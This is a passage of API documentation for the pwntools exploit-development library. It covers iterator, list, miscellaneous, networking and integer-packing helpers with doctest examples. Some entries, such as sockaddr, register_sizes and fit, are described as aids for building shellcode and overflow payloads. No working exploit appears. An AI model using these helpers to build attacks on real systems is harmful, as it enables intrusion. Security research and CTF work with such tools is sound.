>>> [''.join(x) for x in group(3, 'ABCDEFG', 'x')]
['ABC', 'DEF', 'Gxx']
```

pwnlib.util.iters.**iter_except**(*func*, *exception*)

Calls *func* repeatedly until an exception is raised. Works like the build-in `iter()` but uses an exception instead of a sentinel to signal the end.

> **Parameters**
>
> - **func** (`callable`) – The function to call.
>
> - **exception** (`Exception`) – The exception that signals the end. Other exceptions will not be caught.
>
> **Returns** An iterator whoose elements are the results of calling `func()` until an exception matching *exception* is raised.

Examples

```
>>> s = {1, 2, 3}
>>> i = iter_except(s.pop, KeyError)
>>> i.next()
1
>>> i.next()
2
>>> i.next()
3
>>> i.next()
Traceback (most recent call last):
    ...
StopIteration
```

pwnlib.util.iters.**lexicographic**(*alphabet*) → iterator

The words with symbols in *alphabet*, in lexicographic order (determined by the order of *alphabet*).

> **Parameters** **alphabet** – The alphabet to draw symbols from.
>
> **Returns** An iterator of the words with symbols in *alphabet*, in lexicographic order.

Example

```
>>> take(8, imap(lambda x: ''.join(x), lexicographic('01')))
['', '0', '1', '00', '01', '10', '11', '000']
```

pwnlib.util.iters.**lookahead**(*n*, *iterable*) → object

Inspects the upcoming element at index *n* without advancing the iterator. Raises `IndexError` if *iterable* has too few elements.

Parameters

- **n** (*int*) – Index of the element to return.

- **iterable** – An iterable.

Returns The element in *iterable* at index *n*.

Examples

```
>>> i = count()
>>> lookahead(4, i)
4
>>> i.next()
0
>>> i = count()
>>> nth(4, i)
4
>>> i.next()
5
>>> lookahead(4, i)
10
```

pwnlib.util.iters.**nth**(*n*, *iterable*, *default = None*) → object
    Returns the element at index *n* in *iterable*. If *iterable* is a iterator it will be advanced.

Parameters

- **n** (*int*) – Index of the element to return.

- **iterable** – An iterable.

- **default** (*object*) – A default value.

Returns The element at index *n* in *iterable* or *default* if *iterable* has too few elements.

Examples

```
>>> nth(2, [0, 1, 2, 3])
2
>>> nth(2, [0, 1], 42)
42
>>> i = count()
>>> nth(42, i)
42
>>> nth(42, i)
85
```

pwnlib.util.iters.**pad**(*iterable*, *value = None*) → iterator
    Pad an *iterable* with *value*, i.e. returns an iterator whoose elements are first the elements of *iterable* then *value* indefinitely.

Parameters

- **iterable** – An iterable.

- **value** – The value to pad with.

Returns An iterator whoose elements are first the elements of *iterable* then *value* indefinitely.

Examples

```
>>> take(3, pad([1, 2]))
[1, 2, None]
>>> i = pad(iter([1, 2, 3]), 42)
>>> take(2, i)
[1, 2]
>>> take(2, i)
[3, 42]
>>> take(2, i)
[42, 42]
```

pwnlib.util.iters.**pairwise**(*iterable*) → iterator

> **Parameters iterable** – An iterable.

> **Returns** An iterator whoose elements are pairs of neighbouring elements of *iterable*.

Examples

```
>>> list(pairwise([1, 2, 3, 4]))
[(1, 2), (2, 3), (3, 4)]
>>> i = starmap(operator.add, pairwise(count()))
>>> take(5, i)
[1, 3, 5, 7, 9]
```

pwnlib.util.iters.**powerset**(*iterable*, *include_empty = True*) → iterator

> The powerset of an iterable.

> **Parameters**

> - **iterable** – An iterable.

> - **include_empty** (*bool*) – Whether to include the empty set.

> **Returns** The powerset of *iterable* as an interator of tuples.

Examples

```
>>> list(powerset(range(3)))
[(), (0,), (1,), (2,), (0, 1), (0, 2), (1, 2), (0, 1, 2)]
>>> list(powerset(range(2), include_empty = False))
[(0,), (1,), (0, 1)]
```

pwnlib.util.iters.**quantify**(*iterable*, *pred = bool*) → int

> Count how many times the predicate *pred* is True.

> **Parameters**

> - **iterable** – An iterable.

> - **pred** – A function that given an element from *iterable* returns either True or False.

> **Returns** The number of elements in *iterable* for which *pred* returns True.

Examples

```
>>> quantify([1, 2, 3, 4], lambda x: x % 2 == 0)
2
>>> quantify(['1', 'two', '3', '42'], str.isdigit)
3
```

pwnlib.util.iters.**random_combination**(*iterable*, *r*) → tuple

> **Parameters**
>
> > • **iterable** – An iterable.
> >
> > • **r** (*int*) – Size of the combination.
>
> **Returns** A random element from itertools.combinations(iterable, r = r).

Examples

```
>>> random_combination(range(2), 2)
(0, 1)
>>> random_combination(range(10), r = 2) in combinations(range(10), r = 2)
True
```

pwnlib.util.iters.**random_combination_with_replacement**(*iterable*, *r*)

> random_combination(iterable, r) -> tuple
>
> > **Parameters**
> >
> > > • **iterable** – An iterable.
> > >
> > > • **r** (*int*) – Size of the combination.
> >
> > **Returns** A random element from itertools.combinations_with_replacement(iterable, r = r).

Examples

```
>>> cs = {(0, 0), (0, 1), (1, 1)}
>>> random_combination_with_replacement(range(2), 2) in cs
True
>>> i = combinations_with_replacement(range(10), r = 2)
>>> random_combination_with_replacement(range(10), r = 2) in i
True
```

pwnlib.util.iters.**random_permutation**(*iterable*, *r=None*)

> random_product(iterable, r = None) -> tuple
>
> > **Parameters**
> >
> > > • **iterable** – An iterable.
> > >
> > > • **r** (*int*) – Size of the permutation. If None select all elements in *iterable*.
> >
> > **Returns** A random element from itertools.permutations(iterable, r = r).

Examples

```
>>> random_permutation(range(2)) in {(0, 1), (1, 0)}
True
>>> random_permutation(range(10), r = 2) in permutations(range(10), r = 2)
True
```

pwnlib.util.iters.**random_product**(*args*, *repeat = 1*) → tuple

> **Parameters**
>
> > • **args** – One or more iterables
> >
> > • **repeat** (*int*) – Number of times to repeat *args*.
>
> **Returns** A random element from `itertools.product(*args, repeat = repeat)`.

Examples

```
>>> args = (range(2), range(2))
>>> random_product(*args) in {(0, 0), (0, 1), (1, 0), (1, 1)}
True
>>> args = (range(3), range(3), range(3))
>>> random_product(*args, repeat = 2) in product(*args, repeat = 2)
True
```

pwnlib.util.iters.**repeat_func**(*func*, **args*, ***kwargs*) → iterator

> Repeatedly calls *func* with positional arguments *args* and keyword arguments *kwargs*. If no keyword arguments is given the resulting iterator will be computed using only functions from `itertools` which are very fast.
>
> **Parameters**
>
> > • **func** (*function*) – The function to call.
> >
> > • **args** – Positional arguments.
> >
> > • **kwargs** – Keyword arguments.
>
> **Returns** An iterator whoose elements are the results of calling `func(*args, **kwargs)` repeatedly.

Examples

```
>>> def f(x):
...     x[0] += 1
...     return x[0]
>>> i = repeat_func(f, [0])
>>> take(2, i)
[1, 2]
>>> take(2, i)
[3, 4]
>>> def f(**kwargs):
...     return kwargs.get('x', 43)
>>> i = repeat_func(f, x = 42)
>>> take(2, i)
[42, 42]
```

```
>>> i = repeat_func(f, 42)
>>> take(2, i)
Traceback (most recent call last):
    ...
TypeError: f() takes exactly 0 arguments (1 given)
```

pwnlib.util.iters.**roundrobin**(**iterables*)

    Take elements from *iterables* in a round-robin fashion.

        Parameters *iterables – One or more iterables.

        Returns An iterator whoose elements are taken from *iterables* in a round-robin fashion.

Examples

```
>>> ''.join(roundrobin('ABC', 'D', 'EF'))
'ADEBFC'
>>> ''.join(take(10, roundrobin('ABC', 'DE', repeat('x'))))
'ADxBExCxxx'
```

pwnlib.util.iters.**tabulate**(*func, start = 0*) → iterator

        Parameters

-     **func** (*function*) – The function to tabulate over.

-     **start** (*int*) – Number to start on.

        Returns An iterator with the elements `func(start)`, `func(start + 1)`, `....`

Examples

```
>>> take(2, tabulate(str))
['0', '1']
>>> take(5, tabulate(lambda x: x**2, start = 1))
[1, 4, 9, 16, 25]
```

pwnlib.util.iters.**take**(*n, iterable*) → list

    Returns first *n* elements of *iterable*. If *iterable* is a iterator it will be advanced.

        Parameters

-     **n** (*int*) – Number of elements to take.

-     **iterable** – An iterable.

        Returns A list of the first *n* elements of *iterable*. If there are fewer than *n* elements in *iterable* they will all be returned.

Examples

```
>>> take(2, range(10))
[0, 1]
>>> i = count()
```

```
>>> take(2, i)
[0, 1]
>>> take(2, i)
[2, 3]
>>> take(9001, [1, 2, 3])
[1, 2, 3]
```

pwnlib.util.iters.**unique_everseen**(*iterable*, *key = None*) → iterator

> Get unique elements, preserving order. Remember all elements ever seen. If *key* is not None then for each element elm in *iterable* the element that will be rememberes is key(elm). Otherwise elm is remembered.

>> **Parameters**

>>> • **iterable** – An iterable.

>>> • **key** – A function to map over each element in *iterable* before remembering it. Setting to None is equivalent to the identity function.

>> **Returns** An iterator of the unique elements in *iterable*.

> ### Examples

```
>>> ''.join(unique_everseen('AAAABBBCCDAABBB'))
'ABCD'
>>> ''.join(unique_everseen('ABBCcAD', str.lower))
'ABCD'
```

pwnlib.util.iters.**unique_justseen**(*iterable*, *key=None*)

> unique_everseen(iterable, key = None) -> iterator

> Get unique elements, preserving order. Remember only the elements just seen. If *key* is not None then for each element elm in *iterable* the element that will be rememberes is key(elm). Otherwise elm is remembered.

>> **Parameters**

>>> • **iterable** – An iterable.

>>> • **key** – A function to map over each element in *iterable* before remembering it. Setting to None is equivalent to the identity function.

>> **Returns** An iterator of the unique elements in *iterable*.

> ### Examples

```
>>> ''.join(unique_justseen('AAAABBBCCDAABBB'))
'ABCDAB'
>>> ''.join(unique_justseen('ABBCcAD', str.lower))
'ABCAD'
```

pwnlib.util.iters.**unique_window**(*iterable*, *window*, *key=None*)

> unique_everseen(iterable, window, key = None) -> iterator

> Get unique elements, preserving order. Remember only the last *window* elements seen. If *key* is not None then for each element elm in *iterable* the element that will be rememberes is key(elm). Otherwise elm is remembered.

>> **Parameters**

- **iterable** – An iterable.

- **window** (*int*) – The number of elements to remember.

- **key** – A function to map over each element in *iterable* before remembering it. Setting to
  None is equivalent to the identity function.

Returns An iterator of the unique elements in *iterable*.

Examples

```
>>> ''.join(unique_window('AAAABBBCCDAABBB', 6))
'ABCDA'
>>> ''.join(unique_window('ABBCcAD', 5, str.lower))
'ABCD'
>>> ''.join(unique_window('ABBCcAD', 4, str.lower))
'ABCAD'
```

pwnlib.util.iters.**chain**()
    Alias for `itertools.chain()`.

pwnlib.util.iters.**combinations**()
    Alias for `itertools.combinations()`

pwnlib.util.iters.**combinations_with_replacement**()
    Alias for `itertools.combinations_with_replacement()`

pwnlib.util.iters.**compress**()
    Alias for `itertools.compress()`

pwnlib.util.iters.**count**()
    Alias for `itertools.count()`

pwnlib.util.iters.**cycle**()
    Alias for `itertools.cycle()`

pwnlib.util.iters.**dropwhile**()
    Alias for `itertools.dropwhile()`

pwnlib.util.iters.**groupby**()
    Alias for `itertools.groupby()`

pwnlib.util.iters.**ifilter**()
    Alias for `itertools.ifilter()`

pwnlib.util.iters.**ifilterfalse**()
    Alias for `itertools.ifilterfalse()`

pwnlib.util.iters.**imap**()
    Alias for `itertools.imap()`

pwnlib.util.iters.**islice**()
    Alias for `itertools.islice()`

pwnlib.util.iters.**izip**()
    Alias for `itertools.izip()`

pwnlib.util.iters.**izip_longest**()
    Alias for `itertools.izip_longest()`

pwnlib.util.iters.**permutations**()
    Alias for `itertools.permutations()`

2.35. `pwnlib.util.iters` — Extension of standard module `itertools` 273

pwnlib.util.iters.**product**()
   Alias for `itertools.product()`

pwnlib.util.iters.**repeat**()
   Alias for `itertools.repeat()`

pwnlib.util.iters.**starmap**()
   Alias for `itertools.starmap()`

pwnlib.util.iters.**takewhile**()
   Alias for `itertools.takewhile()`

pwnlib.util.iters.**tee**()
   Alias for `itertools.tee()`

2.36 `pwnlib.util.lists` — Operations on lists

pwnlib.util.lists.**concat**(*l*) → list
   Concats a list of lists into a list.

Example

```
>>> concat([[1, 2], [3]])
[1, 2, 3]
```

pwnlib.util.lists.**concat_all**(**args*) → list
   Concats all the arguments together.

Example

```
>>> concat_all(0, [1, (2, 3)], [(([4, 5, 6]])])
[0, 1, 2, 3, 4, 5, 6]
```

pwnlib.util.lists.**findall**(*l*, *e*) → l
   Generate all indices of needle in haystack, using the Knuth-Morris-Pratt algorithm.

Example

```
>>> foo = findall([1,2,3,4,4,3,4,2,1], 4)
>>> foo.next()
3
>>> foo.next()
4
>>> foo.next()
6
```

pwnlib.util.lists.**group**(*n*, *lst*, *underfull_action* = *'ignore'*, *fill_value* = *None*) → list
   Split sequence into subsequences of given size. If the values cannot be evenly distributed among into groups, then the last group will either be returned as is, thrown out or padded with the value specified in fill_value.

   Parameters

- **n** (*int*) – The size of resulting groups

- **lst** – The list, tuple or string to group

- **underfull_action** (*str*) – The action to take in case of an underfull group at the end. Possible values are 'ignore', 'drop' or 'fill'.

- **fill_value** – The value to fill into an underfull remaining group.

Returns A list containing the grouped values.

Example

```
>>> group(3, "ABCDEFG")
['ABC', 'DEF', 'G']
>>> group(3, 'ABCDEFG', 'drop')
['ABC', 'DEF']
>>> group(3, 'ABCDEFG', 'fill', 'Z')
['ABC', 'DEF', 'GZZ']
>>> group(3, list('ABCDEFG'), 'fill')
[['A', 'B', 'C'], ['D', 'E', 'F'], ['G', None, None]]
```

pwnlib.util.lists.**ordlist**(*s*) → list

Turns a string into a list of the corresponding ascii values.

Example

```
>>> ordlist("hello")
[104, 101, 108, 108, 111]
```

pwnlib.util.lists.**partition**(*lst, f, save_keys = False*) → list

Partitions an iterable into sublists using a function to specify which group they belong to.

It works by calling *f* on every element and saving the results into an `collections.OrderedDict`.

Parameters

- **lst** – The iterable to partition

- **f** (*function*) – The function to use as the partitioner.

- **save_keys** (*bool*) – Set this to True, if you want the OrderedDict returned instead of just the values

Example

```
>>> partition([1,2,3,4,5], lambda x: x&1)
[[1, 3, 5], [2, 4]]
```

pwnlib.util.lists.**unordlist**(*cs*) → str

Takes a list of ascii values and returns the corresponding string.

Example

```
>>> unordlist([104, 101, 108, 108, 111])
'hello'
```

2.37 `pwnlib.util.misc` — We could not fit it any other place

pwnlib.util.misc.**align**(*alignment*, *x*) → int
    Rounds *x* up to nearest multiple of the *alignment*.

Example

```
>>> [align(5, n) for n in range(15)]
[0, 5, 5, 5, 5, 5, 10, 10, 10, 10, 10, 15, 15, 15, 15]
```

pwnlib.util.misc.**align_down**(*alignment*, *x*) → int
    Rounds *x* down to nearest multiple of the *alignment*.

Example

```
>>> [align_down(5, n) for n in range(15)]
[0, 0, 0, 0, 0, 5, 5, 5, 5, 5, 10, 10, 10, 10, 10]
```

pwnlib.util.misc.**binary_ip**(*host*) → str
    Resolve host and return IP as four byte string.

Example

```
>>> binary_ip("127.0.0.1")
'\x7f\x00\x00\x01'
```

pwnlib.util.misc.**dealarm_shell**(*tube*)
    Given a tube which is a shell, dealarm it.

pwnlib.util.misc.**mkdir_p**(*path*)
    Emulates the behavior of `mkdir -p`.

pwnlib.util.misc.**parse_ldd_output**(*output*)
    Parses the output from a run of 'ldd' on a binary. Returns a dictionary of {path: address} for each library required by the specified binary.

> **Parameters output** (*str*) – The output to parse

Example

```
>>> sorted(parse_ldd_output('''
...     linux-vdso.so.1 =>  (0x00007fffbf5fe000)
...     libtinfo.so.5 => /lib/x86_64-linux-gnu/libtinfo.so.5 (0x00007fe28117f000)
...     libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe280f7b000)
...     libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe280bb4000)
...     /lib64/ld-linux-x86-64.so.2 (0x00007fe2813dd000)
... ''').keys())
['/lib/x86_64-linux-gnu/libc.so.6', '/lib/x86_64-linux-gnu/libdl.so.2', '/lib/x86_
↪64-linux-gnu/libtinfo.so.5', '/lib64/ld-linux-x86-64.so.2']
```

pwnlib.util.misc.**read**(*path*, *count=-1*, *skip=0*) → str
  Open file, return content.

Examples

```
>>> read('/proc/self/exe')[:4]
'\x7fELF'
```

pwnlib.util.misc.**register_sizes**(*regs*, *in_sizes*)
  Create dictionaries over register sizes and relations

  Given a list of lists of overlapping register names (e.g. ['eax','ax','al','ah']) and a list of input sizes, it returns
  the following:

  - all_regs : list of all valid registers
  - sizes[reg] : the size of reg in bits
  - bigger[reg] : list of overlapping registers bigger than reg
  - smaller[reg]: list of overlapping registers smaller than reg

  Used in i386/AMD64 shellcode, e.g. the mov-shellcode.

Example

```
>>> regs = [['eax', 'ax', 'al', 'ah'],['ebx', 'bx', 'bl', 'bh'],
... ['ecx', 'cx', 'cl', 'ch'],
... ['edx', 'dx', 'dl', 'dh'],
... ['edi', 'di'],
... ['esi', 'si'],
... ['ebp', 'bp'],
... ['esp', 'sp'],
... ]
>>> all_regs, sizes, bigger, smaller = register_sizes(regs, [32, 16, 8, 8])
>>> all_regs
['eax', 'ax', 'al', 'ah', 'ebx', 'bx', 'bl', 'bh', 'ecx', 'cx', 'cl', 'ch', 'edx',
↪ 'dx', 'dl', 'dh', 'edi', 'di', 'esi', 'si', 'ebp', 'bp', 'esp', 'sp']
>>> sizes
{'ch': 8, 'cl': 8, 'ah': 8, 'edi': 32, 'al': 8, 'cx': 16, 'ebp': 32, 'ax': 16,
↪'edx': 32, 'ebx': 32, 'esp': 32, 'esi': 32, 'dl': 8, 'dh': 8, 'di': 16, 'bl': 8,
↪ 'bh': 8, 'eax': 32, 'bp': 16, 'dx': 16, 'bx': 16, 'ecx': 32, 'sp': 16, 'si':␣
↪16}
>>> bigger
{'ch': ['ecx', 'cx', 'ch'], 'cl': ['ecx', 'cx', 'cl'], 'ah': ['eax', 'ax', 'ah'],
↪'edi': ['edi'], 'al': ['eax', 'ax', 'al'], 'cx': ['ecx', 'cx'], 'ebp': ['ebp'],
↪'ax': ['eax', 'ax'], 'edx': ['edx'], 'ebx': ['ebx'], 'esp': ['esp'](continues on next page)
↪'esi'], 'dl': ['edx', 'dx', 'dl'], 'dh': ['edx', 'dx', 'dh'], 'di': ['edi', 'di
↪'], 'bl': ['ebx', 'bx', 'bl'], 'bh': ['ebx', 'bx', 'bh'], 'eax': ['eax'], 'bp':␣
```

```
↪'esp', 'sp'], 'si': ['esi', 'si']}
```

```
>>> smaller
{'ch': [], 'cl': [], 'ah': [], 'edi': ['di'], 'al': [], 'cx': ['cl', 'ch'], 'ebp
↪': ['bp'], 'ax': ['al', 'ah'], 'edx': ['dx', 'dl', 'dh'], 'ebx': ['bx', 'bl',
↪'bh'], 'esp': ['sp'], 'esi': ['si'], 'dl': [], 'dh': [], 'di': [], 'bl': [], 'bh
↪': [], 'eax': ['ax', 'al', 'ah'], 'bp': [], 'dx': ['dl', 'dh'], 'bx': ['bl', 'bh
↪'], 'ecx': ['cx', 'cl', 'ch'], 'sp': [], 'si': []}
```

pwnlib.util.misc.**run_in_new_terminal**(*command*, *terminal = None*) → None

> Run a command in a new terminal.

> **When terminal is not set:**
>
> > • If `context.terminal` is set it will be used. If it is an iterable then `context.terminal[1:]` are default arguments.
> >
> > • If a `pwntools-terminal` command exists in `$PATH`, it is used
> >
> > • If `$TERM_PROGRAM` is set, that is used.
> >
> > • If X11 is detected (by the presence of the `$DISPLAY` environment variable), `x-terminal-emulator` is used.
> >
> > • If tmux is detected (by the presence of the `$TMUX` environment variable), a new pane will be opened.
> >
> > • If GNU Screen is detected (by the presence of the `$STY` environment variable), a new screen will be opened.

> > **Parameters**
> >
> > > • **command** (`str`) – The command to run.
> > >
> > > • **terminal** (`str`) – Which terminal to use.
> > >
> > > • **args** (`list`) – Arguments to pass to the terminal

> **Note:** The command is opened with `/dev/null` for stdin, stdout, stderr.

> > **Returns** PID of the new terminal process

pwnlib.util.misc.**size**(*n*, *abbrev = 'B'*, *si = False*) → str

> Convert the length of a bytestream to human readable form.

> > **Parameters**
> >
> > > • **n** (`int, iterable`) – The length to convert to human readable form, or an object which can have `len()` called on it.
> > >
> > > • **abbrev** (`str`) – String appended to the size, defaults to `'B'`.

Example

```
>>> size(451)
'451B'
>>> size(1000)
'1000B'
>>> size(1024)
```

```
'1.00KB'
>>> size(1024, ' bytes')
'1.00K bytes'
>>> size(1024, si = True)
'1.02KB'
>>> [size(1024 ** n) for n in range(7)]
['1B', '1.00KB', '1.00MB', '1.00GB', '1.00TB', '1.00PB', '1024.00PB']
>>> size([])
'0B'
>>> size([1,2,3])
'3B'
```

pwnlib.util.misc.**which**(*name*, *flags = os.X_OK*, *all = False*) → str or str set

Works as the system command `which`; searches $PATH for `name` and returns a full path if found.

If *all* is `True` the set of all found locations is returned, else the first occurence or `None` is returned.

> **Parameters**
>
> - **name** (*str*) – The file to search for.
>
> - **all** (*bool*) – Whether to return all locations where *name* was found.
>
> **Returns** If *all* is `True` the set of all locations where *name* was found, else the first location or `None` if not found.

Example

```
>>> which('sh')
'/bin/sh'
```

pwnlib.util.misc.**write**(*path*, *data=''*, *create_dir=False*, *mode='w'*)

Create new file or truncate existing to zero length and write data.

2.38 `pwnlib.util.net` — Networking interfaces

pwnlib.util.net.**getifaddrs**() → dict list

A wrapper for libc's `getifaddrs`.

> **Parameters** **None** –
>
> **Returns** list of dictionaries each representing a *struct ifaddrs*. The dictionaries have the fields *name*, *flags*, *family*, *addr* and *netmask*. Refer to *getifaddrs(3)* for details. The fields *addr* and *netmask* are themselves dictionaries. Their structure depend on *family*. If *family* is not `socket.AF_INET` or `socket.AF_INET6` they will be empty.

pwnlib.util.net.**interfaces**(*all = False*) → dict

> **Parameters**
>
> - **all** (*bool*) – Whether to include interfaces with not associated address.
>
> - **Default** – `False`.
>
> **Returns** A dictionary mapping each of the hosts interfaces to a list of it's addresses. Each entry in the list is a tuple `(family, addr)`, and *family* is either `socket.AF_INET` or `socket.AF_INET6`.

`pwnlib.util.net.`**`interfaces4`**(*all = False*) → dict
>As [*interfaces()*](#) but only includes IPv4 addresses and the lists in the dictionary only contains the addresses not the family.

>>**Parameters**

>>>• **all** (*[bool](#)*) – Whether to include interfaces with not associated address.

>>>• **Default** – False.

>>**Returns** A dictionary mapping each of the hosts interfaces to a list of it's IPv4 addresses.

`pwnlib.util.net.`**`interfaces6`**(*all = False*) → dict
>As [*interfaces()*](#) but only includes IPv6 addresses and the lists in the dictionary only contains the addresses not the family.

>>**Parameters**

>>>• **all** (*[bool](#)*) – Whether to include interfaces with not associated address.

>>>• **Default** – False.

>>**Returns** A dictionary mapping each of the hosts interfaces to a list of it's IPv6 addresses.

`pwnlib.util.net.`**`sockaddr`**(*host*, *port*, *network = 'ipv4'*) -> (*data*, *length*, *family*)
>Creates a sockaddr_in or sockaddr_in6 memory buffer for use in shellcode.

>>**Parameters**

>>>• **host** (*[str](#)*) – Either an IP address or a hostname to be looked up.

>>>• **port** (*[int](#)*) – TCP/UDP port.

>>>• **network** (*[str](#)*) – Either 'ipv4' or 'ipv6'.

>>**Returns** A tuple containing the sockaddr buffer, length, and the address family.

2.39 `pwnlib.util.packing` — Packing and unpacking of strings

Module for packing and unpacking integers.

Simplifies access to the standard `struct.pack` and `struct.unpack` functions, and also adds support for packing/unpacking arbitrary-width integers.

The packers are all context-aware for `endian` and `signed` arguments, though they can be overridden in the parameters.

Examples

```
>>> p8(0)
'\x00'
>>> p32(0xdeadbeef)
'\xef\xbe\xad\xde'
>>> p32(0xdeadbeef, endian='big')
'\xde\xad\xbe\xef'
>>> with context.local(endian='big'): p32(0xdeadbeef)
'\xde\xad\xbe\xef'
```

Make a frozen packer, which does not change with context.

```
>>> p=make_packer('all')
>>> p(0xff)
'\xff'
>>> p(0x1ff)
'\xff\x01'
>>> with context.local(endian='big'): print repr(p(0x1ff))
'\xff\x01'
```

pwnlib.util.packing.**dd**(*dst*, *src*, *count = 0*, *skip = 0*, *seek = 0*, *truncate = False*) → dst

Inspired by the command line tool dd, this function copies *count* byte values from offset *seek* in *src* to offset *skip* in *dst*. If *count* is 0, all of src[seek:] is copied.

If *dst* is a mutable type it will be updated. Otherwise a new instance of the same type will be created. In either case the result is returned.

src can be an iterable of characters or integers, a unicode string or a file object. If it is an iterable of integers, each integer must be in the range [0;255]. If it is a unicode string, its UTF-8 encoding will be used.

The seek offset of file objects will be preserved.

> **Parameters**
>
> - **dst** – Supported types are *:class:file*, *:class:list*, *:class:tuple*, *:class:str*, *:class:bytearray* and *:class:unicode*.
> - **src** – An iterable of byte values (characters or integers), a unicode string or a file object.
> - **count** (*int*) – How many bytes to copy. If *count* is 0 or larger than len(src[seek:]), all bytes until the end of *src* are copied.
> - **skip** (*int*) – Offset in *dst* to copy to.
> - **seek** (*int*) – Offset in *src* to copy from.
> - **truncate** (*bool*) – If *:const:True*, *dst* is truncated at the last copied byte.
>
> **Returns** A modified version of *dst*. If *dst* is a mutable type it will be modified in-place.

Examples

```
>>> dd(tuple('Hello!'), '?', skip = 5)
('H', 'e', 'l', 'l', 'o', '?')
>>> dd(list('Hello!'), (63,), skip = 5)
['H', 'e', 'l', 'l', 'o', '?']
>>> file('/tmp/foo', 'w').write('A' * 10)
>>> dd(file('/tmp/foo'), file('/dev/zero'), skip = 3, count = 4).read()
'AAA\x00\x00\x00\x00AAA'
>>> file('/tmp/foo', 'w').write('A' * 10)
>>> dd(file('/tmp/foo'), file('/dev/zero'), skip = 3, count = 4, truncate = True).
↪read()
'AAA\x00\x00\x00\x00'
```

pwnlib.util.packing.**fit**(*pieces*, *filler = de_bruijn()*, *length = None*, *preprocessor = None*) → str

Generates a string from a dictionary mapping offsets to data to place at that offset.

For each key-value pair in *pieces*, the key is either an offset or a byte sequence. In the latter case, the offset will be the lowest index at which the sequence occurs in *filler*. See examples below.

Each piece of data is passed to *flat()* along with the keyword arguments *word_size*, *endianness* and *sign*.

Space between pieces of data is filled out using the iterable *filler*. The *n*'th byte in the output will be byte at index n % len(iterable) byte in *filler* if it has finite length or the byte at index *n* otherwise.

If *length* is given, the output will padded with bytes from *filler* to be this size. If the output is longer than *length*, a ValueError exception is raised.

If entries in *pieces* overlap, a ValueError exception is raised.

> **Parameters**
>
> - **pieces** – Offsets and values to output.
> - **length** – The length of the output.
> - **filler** – Iterable to use for padding.
> - **preprocessor** (*function*) – Gets called on every element to optionally transform the element before flattening. If None is returned, then the original value is used.
> - **word_size** (*int*) – Word size of the converted integer (in bits).
> - **endianness** (*str*) – Endianness of the converted integer ("little"/"big").
> - **sign** (*str*) – Signedness of the converted integer (False/True)

Examples

```
>>> fit({12: 0x41414141,
...      24: 'Hello',
...      })
'aaaabaaacaaaAAAAeaaafaaaHello'
>>> fit({'caaa': ''})
'aaaabaaa'
>>> fit({12: 'XXXX'}, filler = 'AB', length = 20)
'ABABABABABABXXXXABAB'
>>> fit({ 8: [0x41414141, 0x42424242],
...      20: 'CCCC'})
'aaaabaaaAAAABBBBeaaaCCCC'
>>> fit({ 0x61616162: 'X'})
'aaaaX'
```

pwnlib.util.packing.**flat**(**args*, *preprocessor = None*, *word_size = None*, *endianness = None*, *sign = None*)
Flattens the arguments into a string.

This function takes an arbitrary number of arbitrarily nested lists and tuples. It will then find every string and number inside those and flatten them out. Strings are inserted directly while numbers are packed using the *pack()* function.

The three kwargs *word_size*, *endianness* and *sign* will default to using values in *pwnlib.context* if not specified as an argument.

> **Parameters**
>
> - **args** – Values to flatten
> - **preprocessor** (*function*) – Gets called on every element to optionally transform the element before flattening. If None is returned, then the original value is uded.
> - **word_size** (*int*) – Word size of the converted integer (in bits).
> - **endianness** (*str*) – Endianness of the converted integer ("little"/"big").

- **sign** (`str`) – Signedness of the converted integer (False/True)

Examples

```
>>> flat(1, "test", [[["AB"]*2]*3], endianness = 'little', word_size = 16, sign =
↪False)
'\x01\x00testABABABABABAB'
>>> flat([1, [2, 3]], preprocessor = lambda x: str(x+1))
'234'
```

pwnlib.util.packing.**make_packer**(*word_size = None*, *endianness = None*, *sign = None*) → num-
ber → str
Creates a packer by "freezing" the given arguments.

Semantically calling `make_packer(w, e, s)(data)` is equivalent to calling `pack(data, w, e, s)`. If word_size is one of 8, 16, 32 or 64, it is however faster to call this function, since it will then use a specialized version.

> **Parameters**
>
> - **word_size** (`int`) – The word size to be baked into the returned packer or the string all (in bits).
>
> - **endianness** (`str`) – The endianness to be baked into the returned packer. ("little"/"big")
>
> - **sign** (`str`) – The signness to be baked into the returned packer. ("unsigned"/"signed")
>
> - **kwargs** – Additional context flags, for setting by alias (e.g. `endian=` rather than index)
>
> **Returns** A function, which takes a single argument in the form of a number and returns a string of that number in a packed form.

Examples

```
>>> p = make_packer(32, endian='little', sign='unsigned')
>>> p
<function _p32lu at 0x...>
>>> p(42)
'*\x00\x00\x00'
>>> p(-1)
Traceback (most recent call last):
    ...
error: integer out of range for 'I' format code
>>> make_packer(33, endian='little', sign='unsigned')
<function <lambda> at 0x...>
```

pwnlib.util.packing.**make_unpacker**(*word_size = None*, *endianness = None*, *sign = None*, ***kwargs*) → str → number
Creates a unpacker by "freezing" the given arguments.

Semantically calling `make_unpacker(w, e, s)(data)` is equivalent to calling `unpack(data, w, e, s)`. If word_size is one of 8, 16, 32 or 64, it is however faster to call this function, since it will then use a specialized version.

> **Parameters**
>
> - **word_size** (`int`) – The word size to be baked into the returned packer (in bits).
>
> - **endianness** (`str`) – The endianness to be baked into the returned packer. ("little"/"big")

- **sign** (*str*) – The signness to be baked into the returned packer. ("unsigned"/"signed")

- **kwargs** – Additional context flags, for setting by alias (e.g. `endian=` rather than index)

Returns A function, which takes a single argument in the form of a string and returns a number of that string in an unpacked form.

Examples

```
>>> u = make_unpacker(32, endian='little', sign='unsigned')
>>> u
<function _u32lu at 0x...>
>>> hex(u('/bin'))
'0x6e69622f'
>>> u('abcde')
Traceback (most recent call last):
    ...
error: unpack requires a string argument of length 4
>>> make_unpacker(33, endian='little', sign='unsigned')
<function <lambda> at 0x...>
```

pwnlib.util.packing.**p16** (*number*, *sign*, *endian*, *...*) → str

Packs an 16-bit integer

Parameters

- **number** (*int*) – Number to convert

- **endianness** (*str*) – Endianness of the converted integer ("little"/"big")

- **sign** (*str*) – Signedness of the converted integer ("unsigned"/"signed")

- **kwargs** (*dict*) – Arguments passed to context.local(), such as `endian` or `signed`.

Returns The packed number as a string

pwnlib.util.packing.**p32** (*number*, *sign*, *endian*, *...*) → str

Packs an 32-bit integer

Parameters

- **number** (*int*) – Number to convert

- **endianness** (*str*) – Endianness of the converted integer ("little"/"big")

- **sign** (*str*) – Signedness of the converted integer ("unsigned"/"signed")

- **kwargs** (*dict*) – Arguments passed to context.local(), such as `endian` or `signed`.

Returns The packed number as a string

pwnlib.util.packing.**p64** (*number*, *sign*, *endian*, *...*) → str

